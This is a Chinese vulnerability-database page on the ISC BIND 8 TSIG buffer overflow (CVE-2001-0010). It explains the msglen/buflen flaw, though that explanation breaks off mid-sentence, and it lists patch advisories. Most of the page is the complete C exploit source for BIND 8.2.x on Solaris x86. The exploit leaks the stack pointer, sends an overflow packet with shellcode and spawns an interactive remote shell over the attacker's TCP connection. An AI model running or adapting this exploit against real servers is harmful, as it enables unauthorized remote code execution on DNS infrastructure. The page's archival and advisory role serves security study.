ISC Bind 8 TSIG远程缓冲区溢出漏洞

ISC Bind 8 TSIG远程缓冲区溢出漏洞

漏洞ID 1106238 漏洞类型 未知
发布时间 2001-03-01 更新时间 2005-05-02
图片[1]-ISC Bind 8 TSIG远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0010
图片[2]-ISC Bind 8 TSIG远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200102-011
漏洞平台 Solaris CVSS评分 10.0
|漏洞来源
https://www.exploit-db.com/exploits/280
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200102-011
|漏洞详情
BIND是一个实现域名服务协议的服务器软件。它在Internet上被广为使用。它在TSIG(传输签名)的实现上存在一个缓冲区溢出漏洞,可能允许远程攻击者在BIND服务器上执行任意代码。由于溢出发生在DNS请求的初始化过程中,因此并不需要攻击者控制任何地权威DNS服务器,而且此问题影响所有递归和非递归的DNS服务器。当收到一个DNS请求时,根据传输协议的不同,DNS请求的数据可能被存放到heap区或者是堆栈中。如果收到的是UDP报文,函数datagram_read()负责将其读入堆栈中的一个513字节大小的缓冲区(u.buf);如果收到的是TCP报文,函数stream_getlen()负责将其读入位于heap区的一个64k大小的缓冲区(sp->s_buf).BIND使用两个关键的变量来跟踪这些缓冲区的使用情况:一个包含缓冲区中的实际长度,名为”msglen”;另一个变量用来跟踪缓冲区的剩余长度,名为”buflen”。当BIND收到一个DNS信息后,msglen被初始化成从网络中接收到的数据长度。buflen被初始化成用来读取这个消息的缓冲区的大小。(对于UDP报文为512字节,对TCP报文为64k)。正常情况下,当BIND处理一个请求时,它会将回复记录附加到请求中。然后它会编辑DNS头,使其反映出这种变化,并发送此响应报文。在此过程中,BIND假设msglen加上buflen的大小等于缓冲区的原长度。从BIND8.2开始,在BIND处理一个DNS请求之前,它会检查DNS信息的附加区域,检查是否有TSIG资源记录。函数ns_find_tsig()被用来进行这个检查。如果一个有效的TSIG标记被找到,但相应的安全字(securitykey)却没有找到,BIND将会报错,并绕过了正常的请求处理过程。结果,msglen和buflen都仍然保持它们的初始值。BIND将此请求看作时一个错误请求,它使用原来的请求缓冲区,在问题域中增加一段TSIG信息。这时候,BIND假设请求缓冲区的大小仍然是msglen+buflen.正常情况下,这是正确的,然而,在这种特殊情况下,msglen+buflen几乎是实际缓冲区大小的两倍!这样,当BIND使用ns_sign()函数添加TSIG信息时,它们将被填充在缓冲区之外。由于有效的安全字没有被发现,ns_sign()将只会增加很少的一些字节,而且
|漏洞EXP
/*## copyright LAST STAGE OF DELIRIUM feb 2001 poland        *://lsd-pl.net/ #*/
/*## bind 8.2 8.2.1 8.2.2 8.2.2-PX                           Solaris 2.7 x86 #*/

/* The code establishes a TCP connection with port 53 of a target system.     */
/* It makes use of the "infoleek" bug (through UDP) to obtain the base        */
/* value of the named process frame stack pointer, which is later used        */
/* for constructing proper DNS tsig exploit packet.                           */
/*                                                                            */
/* Upon successful exploitation the assembly routine gets executed. It        */
/* walks the descriptor table of the exploited named process in a search      */
/* for the socket descriptor of the previously established TCP connection.    */
/* Found descriptor is duplicated on stdin, stdout and stderr and /bin/sh     */
/* is spawned.                                                                */
/*                                                                            */
/* The use of such an assembly routine allows successfull exploitation of     */
/* the vulnerability in the case when vulnerable dns servers are protected    */
/* by tightly configured firewall systems (with only 53 tcp/udp port open).   */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

char msg[]={
    0xab,0xcd,0x09,0x80,0x00,0x00,0x00,0x01,
    0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,
    0x01,0x20,0x20,0x20,0x20,0x02,0x61
};

char asmcode[]=
    "x1b"                 /* label len 1+26                 */
    "x90"                 /* padding                        */

    "x33xc0"             /* xorl    %eax,%eax              */
    "xebx09"             /* jmp     <syscallcode+13>       */
    "x5f"                 /* popl    %edi                   */
    "x57"                 /* pushl   %edi                   */
    "x47"                 /* incl    %edi                   */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "x47"                 /* incl    %edi                   */
    "xaa"                 /* stosb   %al,%es:(%edi)         */
    "x5e"                 /* popl    %esi                   */
    "xebx0e"             /* jmp     <syscallcode+26+1>     */
    "xe8xf2xffxffxff" /* call    <syscallcode+4>        */
    "x9axffxffxffxff"
    "x07xff"
    "xc3"                 /* ret                            */

    "x33"                 /* label len 51                   */

    "x56"                 /* pushl   %esi                   */
    "x5f"                 /* popl    %edi                   */
    "x83xefx7c"         /* subl    $0x7c,%edi             */
    "x57"                 /* pushl   %edi                   */
    "x8dx4fx10"         /* leal    0x10(%edi),%ecx        */
    "xb0x44"             /* movb    $0x44,%al              */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "x91"                 /* xchgl   %ecx,%eax              */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "x95"                 /* xchgl   %eax,%ebp              */
    "x66xb9x91x54"     /* movw    $0x5491,%cx            */
    "x51"                 /* pushl   %ecx                   */
    "x66xb9x01x01"     /* movw    $0x0101,%cx            */
    "x51"                 /* pushl   %ecx                   */
    "x33xc0"             /* xorl    %eax,%eax              */
    "xb0x36"             /* movb    $0x36,%al              */
    "xffxd6"             /* call    *%esi                  */
    "x59"                 /* popl    %ecx                   */
    "x33xdb"             /* xorl    %ebx,%ebx              */
    "x3bxc3"             /* cmpl    %ebx,%eax              */
    "x75x0a"             /* jne     <findsckcode+49>       */
    "x66xbbx12x34"     /* movw    $0x1234,%bx            */
    "x66x39x5dx02"     /* cmpw    %bx,0x2(%ebp)          */
    "x74x03"             /* je      <findsckcode+51+1>     */
    "xe2xe6"             /* loop    <findsckcode+25>       */

    "x37"                 /* label len 21+34                */

    "xb0x09"             /* movb    $0x09,%al              */
    "x50"                 /* pushl   %eax                   */
    "x51"                 /* pushl   %ecx                   */
    "x91"                 /* xchgl   %ecx,%eax              */
    "xb1x03"             /* movb    $0x03,%cl              */
    "x49"                 /* decl    %ecx                   */
    "x89x4cx24x08"     /* movl    %ecx,0x8(%esp)         */ 
    "x41"                 /* incl    %ecx                   */
    "x33xc0"             /* xorl    %eax,%eax              */
    "xb0x3e"             /* movb    $0x3e,%al              */
    "xffxd6"             /* call    *%esi                  */
    "xe2xf2"             /* loop    <findsckcode+58+1>     */

    "xebx13"             /* jmp     <shellcode+21>         */
    "x33xd2"             /* xorl    %edx,%edx              */
    "x58"                 /* popl    %eax                   */
    "x8dx78x14"         /* leal    0x14(%eax),edi         */
    "x52"                 /* pushl   %edx                   */
    "x57"                 /* pushl   %edi                   */
    "x50"                 /* pushl   %eax                   */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "x92"                 /* xchgl   %eax,%edx              */
    "xab"                 /* stosl   %eax,%es:(%edi)        */
    "x88x42x08"         /* movb    %al,0x8(%edx)          */
    "xb0x3b"             /* movb    $0x3b,%al              */
    "xffxd6"             /* call    *%esi                  */
    "xe8xe8xffxffxff" /* call    <shellcode+2>          */
    "/bin/ksh"
;

int rev(int a){
    int i=1;
    if((*(char*)&i)) return(a);
    return((a>>24)&0xff)|(((a>>16)&0xff)<<8)|(((a>>8)&0xff)<<16)|((a&0xff)<<24);
}

int main(int argc,char **argv){
    char buffer[1024],*b;
    int i,c,n,sck[2],fp,ptr6,jmp,cnt,ofs,flag=-1;
    struct hostent *hp;
    struct sockaddr_in adr;

    printf("copyright LAST STAGE OF DELIRIUM feb 2001 poland  //lsd-pl.net/n");
    printf("bind 8.2 8.2.1 8.2.2 8.2.2PX for solaris 2.7 x86nn");

    if(argc<2){
        printf("usage: %s address [-s][-e]n",argv[0]);
        printf("    -s  send infoleek packetn");
        printf("    -e  send exploit packetn");
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"se"))!=-1){
        switch(c){
        case 's': flag=1;break;
        case 'e': flag=2;
        }
    }
    if(flag==-1) exit(-1);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(53);
    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1) {
        if((hp=gethostbyname(argv[1]))==NULL) {
            errno=EADDRNOTAVAIL;goto err;
        }
        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
    }

    sck[0]=socket(AF_INET,SOCK_DGRAM,0);
    sck[1]=socket(AF_INET,SOCK_STREAM,0);

    if(connect(sck[0],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;
    if(connect(sck[1],(struct sockaddr*)&adr,sizeof(adr))<0) goto err;

    i=sizeof(struct sockaddr_in);
    if(getsockname(sck[1],(struct sockaddr*)&adr,&i)==-1){
        struct netbuf {unsigned int maxlen;unsigned int len;char *buf;};
        struct netbuf nb;
        ioctl(sck[1],(('S'<<8)|2),"sockmod");
        nb.maxlen=0xffff;
        nb.len=sizeof(struct sockaddr_in);;
        nb.buf=(char*)&adr;
        ioctl(sck[1],(('T'<<8)|144),&nb);
    }
    n=ntohs(adr.sin_port);

    asmcode[1+1+26+1+39+2]=(unsigned char)((n>>8)&0xff);
    asmcode[1+1+26+1+39+3]=(unsigned char)(n&0xff);

    if(write(sck[0],msg,sizeof(msg))==-1) goto err;
    if((cnt=read(sck[0],buffer,sizeof(buffer)))==-1) goto err;
   
    printf("stack dump:n");
    for(i=0;i<(cnt-512);i++){
        printf("%s%02x ",(i&&(!(i%16)))?"n":"",(unsigned char)buffer[512+i]);
    }
    printf("nn");

    fp=rev(*(unsigned int*)&buffer[532]);
    ofs=0x0106-((fp-(fp&0xffffff00))&0xff);
    cnt=163;

    if((buffer[512+20+2]!=(char)0x04)&&(buffer[512+20+3]!=(char)0x08)){
        printf("system does not seem to be a vulnerable solarisn");exit(1);
    }

    if(flag==1){
        printf("system seems to be running bind 8.2.x on a solarisn");exit(-1);
    }

    if(cnt<(ofs+12)){
        printf("frame ptr is too low to be successfully exploitedn");exit(-1);
    }

    jmp=rev(fp-583);
    ptr6=rev((fp&0xffffff00)+8);
    fp=rev(fp&0xffffff00);

    printf("frame ptr=0x%08x adr=%08x ofs=%d ",rev(fp),rev(jmp),ofs);
    printf("port=%04x connected! ",(unsigned short)n);fflush(stdout);

    b=buffer;
    memcpy(b,"xabxcdx01x00x00x02x00x00x00x00x00x01",12);b+=12;
    for(i=0;i<strlen(asmcode);i++) *b++=asmcode[i];
    for(i=0;i<(120>>1);i++,b++) *b++=0x01;
    memcpy(b,"x00x00x01x00x01",5);b+=5;
    for(i=0;i<((ofs+64)>>1);i++,b++) *b++=0x01;

    *b++=12;
    memcpy(b,&jmp,4);b+=4;
    memcpy(b,"x06x00x00x00",4);b+=4;
    memcpy(b,&ptr6,4);b+=4;
    cnt-=ofs+12;
    for(i=0;i<(cnt>>1);i++,b++) *b++=0x01;

    memcpy(b,"x00x00x01x00x01x00x00xfaxff",9);b+=9;

    if(write(sck[0],buffer,b-buffer)==-1) goto err;
    sleep(1);printf("sent!n");

    write(sck[1],"/bin/uname -an",14);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sck[1],&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sck[1],buf,cnt);
            }
            if(FD_ISSET(sck[1],&fds)){
                if((cnt=read(sck[1],buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
        }
    }
    exit(0);
err:
    perror("error");exit(-1);
}

// milw0rm.com [2001-03-01]
|参考资料
resource:Patch
hyperlink:http://www.cert.org/advisories/CA-2001-02.html
resource:
hyperlink:http://www.debian.org/security/2001/dsa-026
resource:
hyperlink:http://www.nai.com/research/covert/advisories/047.asp
resource:
hyperlink:http://www.redhat.com/support/errata/RHSA-2001-007.html
resource:Patch
hyperlink:http://www.securityfocus.com/bid/2302

相关推荐: Kaspersky Anti-Virus for Sendmail Remote Format String Vulnerability

Kaspersky Anti-Virus for Sendmail Remote Format String Vulnerability 漏洞ID 1103243 漏洞类型 Input Validation Error 发布时间 2001-06-06 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享